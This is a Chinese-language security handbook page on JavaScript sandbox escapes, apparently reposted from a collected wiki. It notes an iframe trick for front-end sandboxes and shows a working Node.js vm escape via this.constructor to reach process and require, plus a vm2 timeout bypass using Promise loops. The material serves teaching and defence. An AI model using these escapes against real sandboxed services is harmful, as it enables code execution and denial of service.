- 目录
- 1. 序章
- 2. 计算机网络与协议
- 3. 信息收集
- 4. 常见漏洞攻防
- 5. 语言与框架
- 6. 内网渗透
- 7. 云安全
- 8. 防御技术
- 9. 认证机制
- 10. 工具与资源
- 11. 手册速查
- 12. 其他
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
5.4.8. 沙箱逃逸
5.4.8. 沙箱逃逸
5.4.8.1. 前端沙箱
在前端中,可能会使用删除 eval
,重写 Function.prototype.constructor
/ GeneratorFunction
/ AsyncFunction
等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。
5.4.8.2. 服务端沙箱
JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。
在原生的沙箱模块中,常用的逃逸方式为:
const vm = require('vm'); const sandbox = {}; const whatIsThis = vm.runInNewContext(` const ForeignObject = this.constructor; const ForeignFunction = ForeignObject.constructor; const process = ForeignFunction("return process")(); const require = process.mainModule.require; require("fs"); `, sandbox);
考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:
vm.runInNewContext( 'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())', {console:{log(){console.log.apply(console,arguments);}}}, {timeout:5} );
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论